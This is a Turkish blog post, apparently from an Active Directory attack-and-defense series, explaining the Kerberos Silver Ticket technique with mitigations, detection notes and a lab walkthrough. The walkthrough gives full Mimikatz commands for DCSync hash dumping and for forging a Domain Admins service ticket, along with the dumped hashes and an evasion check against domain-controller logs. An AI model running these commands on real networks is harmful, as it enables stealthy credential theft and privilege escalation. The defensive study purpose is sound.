Merhaba

Önceki bölümde Golden Ticket’ı yani krbtgt hesabının hash’i ele geçirildiğinde domain genelinde sınırsız bir kimlik sahteciliğinin nasıl mümkün olduğunu inceledik. Bu bölümde, aynı mantığın daha dar kapsamlı ama çok daha sessiz bir kuzenini ele alıyoruz: Silver Ticket. Bu teknik, saldırganın yalnızca tek bir hizmet hesabının hash’ini ele geçirmesi durumunda, o hizmete özgü sahte servis biletleri üretebilmesini sağlıyor ve en önemlisi, bu sahte biletler hiçbir zaman domain controller’a uğramadığı için, DCSync ve ntds.dit dökümü gibi öncül tekniklerin aksine, domain controller loglarında hiçbir iz bırakmıyor.

Silver Ticket

Kerberos protokolünde, bir kullanıcı bir hizmete (örneğin bir dosya sunucusuna, bir SQL Server örneğine, bir web uygulamasına) erişmek istediğinde, domain controller’dan o hizmete özgü bir servis bileti (TGS) alır. Bu servis bileti, hizmetin çalıştığı hesabın (genellikle bir bilgisayar hesabı SunucuAdi$ ya da özel bir hizmet hesabı) parola hash’i ile şifrelenir. Hizmet, kendisine sunulan bu bileti kendi hash’iyle çözüp doğrulayabildiği için, domain controller’a hiçbir zaman geri danışmadan (varsayılan olarak) kullanıcıyı kabul eder.

Silver Ticket tekniği, bir saldırganın bir hizmet hesabının NTLM hash’ini (Kerberoasting, DCSync, ntds.dit dökümü veya başka bir yolla) ele geçirdiğinde, bu hash’i kullanarak doğrudan o hizmete özgü bir sahte servis bileti üretebilmesidir krbtgt‘e hiç ihtiyaç duymadan, dolayısıyla domain controller’a hiçbir istek göndermeden. Saldırgan, sahte bilet içine istediği kullanıcı adını ve istediği grup üyeliklerini (örneğin Domain Admins) yazabilir; hizmet bu bileti kendi hash’iyle doğruladığında geçerli kabul eder ve saldırgana o hizmet üzerinde talep edilen yetkileri verir.

Bu tekniğin Golden Ticket’a göre iki temel farkı var: Birincisi, kapsamı çok daha dar saldırgan yalnızca hash’ini ele geçirdiği o belirli hizmete erişebilir, domain genelinde değil. İkincisi ve çok daha kritik olanı, tespiti çok daha zor çünkü sahte bilet hiçbir zaman bir domain controller’a TGS-REQ olarak ulaşmaz, doğrudan hedef hizmete sunulur. Bu, Golden Ticket’ın aksine (4769’un 4768 olmadan gelmesi), Silver Ticket’ta hiçbir Kerberos event’i domain controller’da üretilmez çünkü domain controller sürece hiç dahil olmaz. Sahte biletin kullanıldığına dair tek iz, hedef hizmetin kendi loglarında (varsa) veya PAC doğrulaması etkinse hizmetin domain controller’a yaptığı ek bir doğrulama isteğinde bulunabilir.

Silver Ticket’ın PAC’ı (Privilege Attribute Certificate) içerdiği grup üyeliği bilgisi, varsayılan olarak hizmet tarafından kriptografik olarak yeniden doğrulanmaz hizmet PAC’ı yalnızca kendi hash’iyle şifresi çözülebiliyor olmasına göre güvenilir kabul eder. Bu, saldırganın PAC içine yazdığı sahte grup üyeliklerinin sorgusuz kabul edildiği anlamına gelir. Microsoft’un PacRequestorEnforcement gibi ek doğrulama mekanizmaları etkinleştirilmediği sürece.

Silver Ticket’ı Mitigasyon Etmek

Bu tekniği mitigasyon etmek için aşağıdaki güvenlik kontrolleri uygulanmalıdır:

• Hizmet hesaplarının parolalarını uzun, rastgele ve düzenli olarak döndürülen şekilde yönetin. Mümkünse Group Managed Service Accounts (gMSA) kullanın bu hesapların parolaları otomatik olarak ve sık aralıklarla döndürülür, bu da ele geçirilen bir hash’in kullanım penceresini daralttır.
• Hizmet hesaplarının Kerberoasting’e karşı da korunduğundan emin olun (serinin ilk bölümü) Silver Ticket’ın önkoşulu genellikle Kerberoasting ile elde edilen bir hizmet hesabı hash’idir.
• PAC doğrulamasını (PAC validation) zorunlu kılın. Microsoft’un sağladığı ValidateKdcPacSignature ve ilgili ayarlar, hizmetin aldığı PAC’ı periyodik olarak domain controller’a tekrar doğrulatmasını sağlayabilir bu, bazı Silver Ticket varyantlarını yakalayabilir (özellikle uzun ömürlü olanları).
• Hizmet sunucularının kendi güvenlik günlüklerini merkezi bir SIEM’e aktarın ve anormal erişim desenlerini izleyin. Domain controller logları bu teknikte yetersiz kaldığı için, tespitin ağırlığı hedef hizmetin kendi loglarına kayar.
• En az ayrıcalık ilkesini hizmet hesaplarına da uygulayın. Bir hizmet hesabının yalnızca ihtiyaç duyduğu kaynaklara erişimi olsun; bu, ele geçirilen bir Silver Ticket’ın verebileceği zararı sınırlar.

Silver Ticket’ı Tespit Etmek

Silver Ticket’ın tespiti, Golden Ticket’a göre belirgin biçimde daha zordur çünkü domain controller süreçten dışlanmıştır. Tespit, büyük ölçüde hedef hizmetin kendi loglarına ve ağ trafiği analizine dayanır.

Silver Ticket’ı Tespit Eden Olaylar

Lab Uygulaması: Windows Server 2025 Üzerinde Silver Ticket

Bu bölümde tekniği kendi lab ortamımızda uyguladık ama bu sefer hedef domain controller (W25DC) değil, domain’e üye istemci bilgisayar (W11CLIENT.bakicubuk.local) oldu, çünkü Silver Ticket’ın klasik senaryosu tam olarak budur: bir üye sunucunun kendi bilgisayar hesabı hash’i ele geçirilip, o sunucuya özgü sahte servis biletleri üretilir.

Adım 1: Hedef Bilgisayar Hesabının Hash’ini Elde Etmek

Bölüm 9’da DCSync haklarını verdiğimiz lowpriv test hesabı üzerinden, bu sefer krbtgt yerine doğrudan W11CLIENT$ bilgisayar hesabını hedef aldık:

mimikatz # lsadump::dcsync /domain:bakicubuk.local /user:W11CLIENT$

Sonuç, W11CLIENT$‘ın hem NTLM hem AES256 anahtarlarını döndürdü:

Hash NTLM: 1ed794b05b0c1259390b4b80c7d996af
aes256_hmac (4096): 2290a8978c39247d3c2dac49e605339698ebd07fcd44eb4cac23e9b608484a45

Adım 2: Hedef Paylaşımı Hazırlamak

W11CLIENT üzerinde, saldırının hedefi olacak zararsız bir SMB paylaşımı oluşturduk:

New-Item -ItemType Directory -Path "C:\SilverTicketTest" -Force
New-SmbShare -Name "SilverTest" -Path "C:\SilverTicketTest" -FullAccess "Everyone"

Adım 3: Silver Ticket’ı Üretmek

Mimikatz’ın aynı kerberos::golden modülünü, bu sefer /krbtgt yerine /target ve /service parametreleriyle kullandık bu, bir TGT değil, doğrudan hedef hizmete özgü bir servis bileti (TGS) üretir:

kerberos::golden /user:silverdemo /domain:bakicubuk.local /sid:S-1-5-21-3478788356-4009446651-4006572080 /target:W11CLIENT.bakicubuk.local /service:cifs /rc4:1ed794b05b0c1259390b4b80c7d996af /id:9999 /groups:512 /ptt

Burada, Bölüm 11’de karşılaştığımız RC4 kısıtlamasının burada geçerli olup olmadığını özellikle test ettik. Sonuç dikkat çekiciydi: bilet RC4 ile sorunsuz üretildi ve enjekte edildi:

Lifetime : 24/09/2026 23:13:18 ; 21/09/2036 23:13:18 ; 21/09/2036 23:13:18
Golden ticket for 'silverdemo @ bakicubuk.local' successfully submitted for current session

Bunun nedeni, Bölüm 11’de gördüğümüz reddin kaynağının domain controller’ın KDC’si olmasıydı Silver Ticket ise hiçbir zaman KDC’ye uğramıyor, bileti doğrudan hedef sunucunun kendi Kerberos SSPI katmanı kendi hash’iyle çözüyor. Bu da RC4 kısıtlamasının yalnızca KDC seviyesinde uygulandığını, hizmet sunucusu seviyesinde aynı kısıtlamanın (en azından bu lab ortamında) bulunmadığını gösteriyor Silver Ticket’ı Golden Ticket’a göre daha az sertleştirmeye karşı dirençli kılan bir başka fark.

Adım 4: Sahte Bileti Doğrulamak ve Paylaşıma Erişmek

Mimikatz konsolundan misc::cmd ile açılan yeni pencerede:

klist
dir \\W11CLIENT.bakicubuk.local\SilverTest

klist çıktısı, Golden Ticket’tan yapısal farkı net biçimde gösterdi:

Client: silverdemo @ bakicubuk.local
Server: cifs/W11CLIENT.bakicubuk.local @ bakicubuk.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
End Time:   9/21/2036 23:13:18 (local)
Kdc Called:

Kdc Called: alanının boş olması kritik: bu bilet hiçbir zaman bir domain controller’dan talep edilmedi doğrudan Mimikatz tarafından üretilip oturuma enjekte edildi. Ardından dir komutu sorunsuzca çalıştı, paylaşımın içeriği listelendi.

Adım 5: Domain Controller’da İzin Yokluğunu Doğrulamak

Son olarak, W25DC üzerinde bu erişime karşılık gelen herhangi bir Kerberos event’i olup olmadığını kontrol ettik:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4768,4769; StartTime=(Get-Date).AddMinutes(-10)} |
    Where-Object { $_.Message -match 'silverdemo' } |
    Format-List TimeCreated, Id, Message

Sonuç, silverdemo filtresine bile gerek kalmadan tamamen boş döndü:

Get-WinEvent : No events were found that match the specified selection criteria.

Bunu Event Viewer’dan görsel olarak da doğruladık: Security günlüğünde Event ID 4768,4769 için son bir saatlik filtre uygulandığında, filtre panelinde Number of events: 0 yazıyor toplam günlükte 114 event varken, bunların hiçbiri bizim erişimimizle ilgili değil.

Event Viewer – Security günlüğünde Event ID 4768/4769 için “Last hour” filtresi uygulandığında Number of events: 0 sonucu; Silver Ticket ile yapılan erişimin domain controller’da hiçbir Kerberos bileti talebi olarak görünmediğinin kanıtı.

Bu, Golden Ticket’ta gördüğümüz “4769 var ama 4768 yok” asimetrisinden bile daha zor bir tespit senaryosu: burada hiçbir Kerberos event’i yok. Bir SOC’un bu erişimi fark edebilmesinin tek yolu, hedef hizmetin (bu örnekte W11CLIENT’ın SMB sunucusunun) kendi erişim loglarına ya da ağ trafiği analizine bakmaktır domain controller logları burada tamamen sessiz kalıyor.

Uyumluluk ve Çerçeve Eşlemesi Tablosu

MITRE ATT&CK: T1558.002 (Steal or Forge Kerberos Tickets: Silver Ticket)

Sonuç

Silver Ticket, Golden Ticket’ın “daha az güçlü ama daha görünmez” versiyonu olarak düşünülebilir saldırganın erişimi tek bir hizmetle sınırlı kalsa da, domain controller’ı tamamen devre dışı bırakan yapısı, tespiti klasik Kerberos loglarına dayanan organizasyonlar için ciddi bir kör nokta oluşturuyor. Bu da savunmanın odağını domain controller’dan hedef hizmetlerin kendi günlüklerine kaydırmayı zorunlu kılıyor.

Serinin bir sonraki bölümünde, kimlik doğrulamanın Kerberos’tan bambaşka bir protokole SAML’e taşındığı federasyon senaryolarında ortaya çıkan Golden SAML tekniğini inceleyeceğiz.